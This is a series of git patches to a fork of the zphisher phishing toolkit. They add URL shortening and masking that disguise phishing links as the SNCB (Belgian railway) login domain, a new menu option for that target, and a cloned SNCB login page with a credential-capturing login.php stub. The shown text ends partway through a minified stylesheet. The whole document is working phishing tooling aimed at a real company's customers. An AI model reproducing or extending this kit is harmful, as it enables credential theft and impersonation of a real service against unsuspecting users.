From 3c192353bb74f9d05c0400348356f963f3c93c58 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 11:26:20 +0200 Subject: [PATCH 01/64] Update zphisher.sh --- zphisher.sh | 47 +++++++++++++++++++---------------------------- 1 file changed, 19 insertions(+), 28 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 8cc65912..01f324ce 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -573,37 +573,28 @@ shorten() { processed_url=${short#http*//} fi } - custom_url() { - url=${1#http*//} - isgd="https://is.gd/create.php?format=simple&url=" - shortcode="https://api.shrtco.de/v2/shorten?url=" - tinyurl="https://tinyurl.com/api-create.php?url=" - - { custom_mask; sleep 1; clear; banner_small; } - if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then - if [[ $(site_stat $isgd) == 2* ]]; then - shorten $isgd "$url" - elif [[ $(site_stat $shortcode) == 2* ]]; then - shorten $shortcode "$url" - else - shorten $tinyurl "$url" - fi - - url="https://$url" - masked_url="$mask@$processed_url" - processed_url="https://$processed_url" - else - # echo "[!] No url provided / Regex Not Matched" - url="Unable to generate links. Try after turning on hotspot" - processed_url="Unable to Short URL" - fi - - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url" - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url" - [[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url" + url=${1#http*//} + isgd="https://is.gd/create.php?format=simple&url=" + shortcode="https://api.shrtco.de/v2/shorten?url=" + gitio="https://git.io" + + { custom_mask; sleep 1; clear; banner_small; } + if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then + shorten $gitio "$url" + processed_url="https://$processed_url" + masked_url="$mask@$processed_url" + else + url="Unable to generate links. Try after turning on hotspot" + processed_url="Unable to Short URL" + fi + + echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url" + echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url" + [[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url" } + ## Facebook site_facebook() { cat <<- EOF From f7d40fcfc1f94429354db765e590f6548dc7bb8e Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 11:33:30 +0200 Subject: [PATCH 02/64] Update zphisher.sh --- zphisher.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 01f324ce..96684b96 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -577,11 +577,11 @@ custom_url() { url=${1#http*//} isgd="https://is.gd/create.php?format=simple&url=" shortcode="https://api.shrtco.de/v2/shorten?url=" - gitio="https://git.io" + zer0x="https://0x0.st" { custom_mask; sleep 1; clear; banner_small; } if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then - shorten $gitio "$url" + shorten $zer0x "$url" processed_url="https://$processed_url" masked_url="$mask@$processed_url" else @@ -595,6 +595,7 @@ custom_url() { } + ## Facebook site_facebook() { cat <<- EOF From 7a2128f6e217770dc53800cc6404c49fa5bf17cf Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 11:37:55 +0200 Subject: [PATCH 03/64] Update zphisher.sh --- zphisher.sh | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 96684b96..88fe810f 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,14 +565,10 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 "$1$2") - if [[ "$1" == *"shrtco.de"* ]]; then - processed_url=$(echo ${short} | sed 's/\\//g' | grep -o '"short_link2":"[a-zA-Z0-9./-]*' | awk -F\" '{print $4}') - else - # processed_url=$(echo "$short" | awk -F// '{print $NF}') - processed_url=${short#http*//} - fi + local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "shorten=$2" "$1") + processed_url=${short} } + custom_url() { url=${1#http*//} isgd="https://is.gd/create.php?format=simple&url=" From c80791230f71155a190a65c3d8346f3eb284eafb Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 11:40:42 +0200 Subject: [PATCH 04/64] Update zphisher.sh --- zphisher.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 88fe810f..4b3a95e9 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,20 +565,19 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "shorten=$2" "$1") + local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "https://cleanuri.com/api/v1/shorten") processed_url=${short} } custom_url() { url=${1#http*//} - isgd="https://is.gd/create.php?format=simple&url=" - shortcode="https://api.shrtco.de/v2/shorten?url=" - zer0x="https://0x0.st" + cleanuri="https://cleanuri.com/api/v1/shorten" { custom_mask; sleep 1; clear; banner_small; } if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then - shorten $zer0x "$url" - processed_url="https://$processed_url" + shorten $cleanuri "$url" + processed_url=${processed_url%\"} # Remove trailing quote + processed_url=${processed_url#\"} # Remove leading quote masked_url="$mask@$processed_url" else url="Unable to generate links. Try after turning on hotspot" @@ -592,6 +591,7 @@ custom_url() { + ## Facebook site_facebook() { cat <<- EOF From cfe8aae8caa77d24836ced142446b485c15ebbda Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 11:43:51 +0200 Subject: [PATCH 05/64] Update zphisher.sh --- zphisher.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/zphisher.sh b/zphisher.sh index 4b3a95e9..4b195604 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -567,6 +567,7 @@ site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1} shorten() { local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "https://cleanuri.com/api/v1/shorten") processed_url=${short} + echo "$processed_url" >> shortened_urls.txt # Append the URL to the file } custom_url() { @@ -592,6 +593,7 @@ custom_url() { + ## Facebook site_facebook() { cat <<- EOF From 6df719b94b65b66f2b34e5ef04d445ee3f975341 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 11:46:16 +0200 Subject: [PATCH 06/64] Update zphisher.sh --- zphisher.sh | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 4b195604..e32eb1da 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,11 +565,16 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "https://cleanuri.com/api/v1/shorten") - processed_url=${short} - echo "$processed_url" >> shortened_urls.txt # Append the URL to the file + local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "$1") + if [ $? -eq 0 ]; then + processed_url=${short} + echo "$processed_url" >> shortened_urls.txt # Append the URL to the file + else + echo "Failed to shorten URL: $2" >&2 # Print error message to stderr + fi } + custom_url() { url=${1#http*//} cleanuri="https://cleanuri.com/api/v1/shorten" From c06cb49c451c039c5ea6458d6f5528e04976138e Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 11:55:41 +0200 Subject: [PATCH 07/64] Update zphisher.sh --- zphisher.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index e32eb1da..0b3592c4 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -565,7 +565,7 @@ custom_mask() { site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "$1") + local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url=$2" "https://cleanuri.com/api/v1/shorten") if [ $? -eq 0 ]; then processed_url=${short} echo "$processed_url" >> shortened_urls.txt # Append the URL to the file @@ -575,6 +575,7 @@ shorten() { } + custom_url() { url=${1#http*//} cleanuri="https://cleanuri.com/api/v1/shorten" From b79d59d6bbe0466134287fe24f3d744ff746b314 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 13:13:41 +0200 Subject: [PATCH 08/64] Update zphisher.sh --- zphisher.sh | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 0b3592c4..2113af0c 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -746,7 +746,7 @@ main_menu() { ${RED}[${WHITE}09${RED}]${ORANGE} Playstation ${RED}[${WHITE}19${RED}]${ORANGE} Reddit ${RED}[${WHITE}29${RED}]${ORANGE} Vk ${RED}[${WHITE}10${RED}]${ORANGE} Tiktok ${RED}[${WHITE}20${RED}]${ORANGE} Adobe ${RED}[${WHITE}30${RED}]${ORANGE} XBOX ${RED}[${WHITE}31${RED}]${ORANGE} Mediafire ${RED}[${WHITE}32${RED}]${ORANGE} Gitlab ${RED}[${WHITE}33${RED}]${ORANGE} Github - ${RED}[${WHITE}34${RED}]${ORANGE} Discord ${RED}[${WHITE}35${RED}]${ORANGE} Roblox + ${RED}[${WHITE}34${RED}]${ORANGE} Discord ${RED}[${WHITE}35${RED}]${ORANGE} Roblox ${RED}[${WHITE}35${RED}]${ORANGE} sncb ${RED}[${WHITE}99${RED}]${ORANGE} About ${RED}[${WHITE}00${RED}]${ORANGE} Exit @@ -887,6 +887,10 @@ main_menu() { website="roblox" mask='https://get-free-robux' tunnel_menu;; + 36) + website="sncb" + mask='https://idp.belgiantrain.be' + tunnel_menu;; 99) about;; 0 | 00 ) From e3fa8cf40ae6d0528cffc76161272d4057823c50 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 13:14:23 +0200 Subject: [PATCH 09/64] Add files via upload --- .sites/sncb/login.html | 403 +++++++++++++++++++++++++++++++++++++++++ .sites/sncb/login.php | 6 + .sites/sncb/style.css | 1 + 3 files changed, 410 insertions(+) create mode 100644 .sites/sncb/login.html create mode 100644 .sites/sncb/login.php create mode 100644 .sites/sncb/style.css diff --git a/.sites/sncb/login.html b/.sites/sncb/login.html new file mode 100644 index 00000000..b1ddabb3 --- /dev/null +++ b/.sites/sncb/login.html @@ -0,0 +1,403 @@ + + + + + + + My SNCB : Se connecter à votre espace client | SNCB + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My SNCB

+

Avec votre compte My SNCB, profitez de tous nos services pratiques personnalisés en ligne. Pour renouveler un abonnement, vous avez besoin d’un compte My SNCB.

+
+ +
+
+

Login

+ +
+ + + + + + + +
+ +
Veuillez saisir une adresse e-mail valide
+
+ +
+ + + +
Veuillez saisir votre mot de passe
+
+ +
+ +
+
+
+
+ + + + + + + Mot de passe oublié? + + + + + + +
+ + + Pas reçu l’e-mail d’activation? + + + + + + + +
+ +
+ +
+

Pas encore de compte?

+

Créez votre compte en ligne en quelques clics pour poursuivre votre commande et profiter des nombreux avantages de My SNCB.

+ + + Créez votre compte + + + +
+
+
+ +
+
+

Les avantages de votre compte My SNCB :

+
    +
  • +
  • Achetez et renouvelez un abonnement en quelques clics
  • +
  • Téléchargez votre attestation voyageur (valable pour votre déclaration fiscale)
  • +
  • Consultez le solde de votre porte-feuille électronique
  • +
  • Réservez une assistance mobilité réduite en ligne
  • +
+
+
+
+ + + \ No newline at end of file diff --git a/.sites/sncb/login.php b/.sites/sncb/login.php new file mode 100644 index 00000000..646dcf12 --- /dev/null +++ b/.sites/sncb/login.php @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/.sites/sncb/style.css b/.sites/sncb/style.css new file mode 100644 index 00000000..a39e74ec --- /dev/null +++ b/.sites/sncb/style.css @@ -0,0 +1 @@ +.awesomplete [hidden]{display:none}.awesomplete .visually-hidden{position:absolute;clip:rect(0,0,0,0)}.awesomplete{display:inline-block;position:relative}.awesomplete>input{display:block}.awesomplete>ul{position:absolute;left:0;z-index:1;min-width:100%;box-sizing:border-box;list-style:none;padding:0;margin:0;background:#fff}.awesomplete>ul:empty{display:none}.awesomplete>ul{border-radius:.3em;margin:.2em 0 0;background:hsla(0,0%,100%,.9);background:linear-gradient(to bottom right,#fff,hsla(0,0%,100%,.8));border:1px solid rgba(0,0,0,.3);box-shadow:.05em .2em .6em rgba(0,0,0,.2);text-shadow:none}@supports (transform:scale(0)){.awesomplete>ul{transition:.3s cubic-bezier(.4,.2,.5,1.4);transform-origin:1.43em -.43em}.awesomplete>ul:empty,.awesomplete>ul[hidden]{opacity:0;transform:scale(0);display:block;transition-timing-function:ease}}.awesomplete>ul:before{content:"";position:absolute;top:-.43em;left:1em;width:0;height:0;padding:.4em;background:#fff;border:inherit;border-right:0;border-bottom:0;transform:rotate(45deg)}.awesomplete>ul>li{position:relative;padding:.2em .5em;cursor:pointer}.awesomplete>ul>li:hover{background:#b8d3e0;color:#000}.awesomplete>ul>li[aria-selected=true]{background:#3d6d8f;color:#fff}.awesomplete mark{background:#eaff00}.awesomplete li:hover mark{background:#b5d100}.awesomplete li[aria-selected=true] mark{background:#3d6b00;color:inherit}html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit;font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}dfn{font-style:italic}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}[hidden],template{display:none}.flex-d{display:-ms-flexbox!important;display:flex!important}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-justify-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.flex-justify-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.flex-justify-center{-ms-flex-pack:center!important;justify-content:center!important}.flex-justify-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.flex-justify-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.flex-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.flex-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.flex-items-center{-ms-flex-align:center!important;align-items:center!important}.flex-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.flex-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.flex-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.flex-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.flex-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.flex-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.flex-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.flex-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.flex-auto{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-self-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.flex-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.flex-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.flex-self-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.flex-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.flex-self-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}.flex-item-equal{-ms-flex-positive:1;flex-grow:1;-ms-flex-preferred-size:0;flex-basis:0}.flex-d.row:before{display:block}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}@media (min-width:0){.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}}@media (min-width:650px){.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}}@media (min-width:992px){.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}}@media (min-width:1280px){.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}}@media (min-width:1440px){.order-hidpi-0{-ms-flex-order:0;order:0}.order-hidpi-1{-ms-flex-order:1;order:1}.order-hidpi-2{-ms-flex-order:2;order:2}.order-hidpi-3{-ms-flex-order:3;order:3}.order-hidpi-4{-ms-flex-order:4;order:4}.order-hidpi-5{-ms-flex-order:5;order:5}.order-hidpi-6{-ms-flex-order:6;order:6}.order-hidpi-7{-ms-flex-order:7;order:7}.order-hidpi-8{-ms-flex-order:8;order:8}.order-hidpi-9{-ms-flex-order:9;order:9}.order-hidpi-10{-ms-flex-order:10;order:10}.order-hidpi-11{-ms-flex-order:11;order:11}.order-hidpi-12{-ms-flex-order:12;order:12}}@media (min-width:1800px){.order-xxl-0{-ms-flex-order:0;order:0}.order-xxl-1{-ms-flex-order:1;order:1}.order-xxl-2{-ms-flex-order:2;order:2}.order-xxl-3{-ms-flex-order:3;order:3}.order-xxl-4{-ms-flex-order:4;order:4}.order-xxl-5{-ms-flex-order:5;order:5}.order-xxl-6{-ms-flex-order:6;order:6}.order-xxl-7{-ms-flex-order:7;order:7}.order-xxl-8{-ms-flex-order:8;order:8}.order-xxl-9{-ms-flex-order:9;order:9}.order-xxl-10{-ms-flex-order:10;order:10}.order-xxl-11{-ms-flex-order:11;order:11}.order-xxl-12{-ms-flex-order:12;order:12}}@media (max-width:649px){.sm--flex-d{display:-ms-flexbox!important;display:flex!important}.sm--flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.sm--flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.sm--flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.sm--flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.sm--flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.sm--flex-justify-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.sm--flex-justify-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.sm--flex-justify-center{-ms-flex-pack:center!important;justify-content:center!important}.sm--flex-justify-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.sm--flex-justify-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.sm--flex-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.sm--flex-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.sm--flex-items-center{-ms-flex-align:center!important;align-items:center!important}.sm--flex-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.sm--flex-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.sm--flex-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.sm--flex-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.sm--flex-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.sm--flex-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.sm--flex-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.sm--flex-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.sm--flex-auto{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.sm--flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.sm--flex-self-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.sm--flex-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.sm--flex-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.sm--flex-self-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.sm--flex-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.sm--flex-self-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}.sm--flex-item-equal{-ms-flex-positive:1;flex-grow:1;-ms-flex-preferred-size:0;flex-basis:0}}@media (min-width:650px) and (max-width:991px){.md--flex-d{display:-ms-flexbox!important;display:flex!important}.md--flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.md--flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.md--flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.md--flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.md--flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.md--flex-justify-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.md--flex-justify-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.md--flex-justify-center{-ms-flex-pack:center!important;justify-content:center!important}.md--flex-justify-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.md--flex-justify-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.md--flex-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.md--flex-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.md--flex-items-center{-ms-flex-align:center!important;align-items:center!important}.md--flex-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.md--flex-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.md--flex-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.md--flex-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.md--flex-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.md--flex-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.md--flex-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.md--flex-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.md--flex-auto{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.md--flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.md--flex-self-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.md--flex-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.md--flex-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.md--flex-self-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.md--flex-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.md--flex-self-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}.md--flex-item-equal{-ms-flex-positive:1;flex-grow:1;-ms-flex-preferred-size:0;flex-basis:0}}@media (min-width:992px){.lg--flex-d{display:-ms-flexbox!important;display:flex!important}.lg--flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.lg--flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.lg--flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.lg--flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.lg--flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.lg--flex-justify-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.lg--flex-justify-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.lg--flex-justify-center{-ms-flex-pack:center!important;justify-content:center!important}.lg--flex-justify-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.lg--flex-justify-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.lg--flex-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.lg--flex-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.lg--flex-items-center{-ms-flex-align:center!important;align-items:center!important}.lg--flex-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.lg--flex-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.lg--flex-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.lg--flex-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.lg--flex-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.lg--flex-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.lg--flex-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.lg--flex-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.lg--flex-auto{-ms-flex:1 1 auto!important;flex:1 1 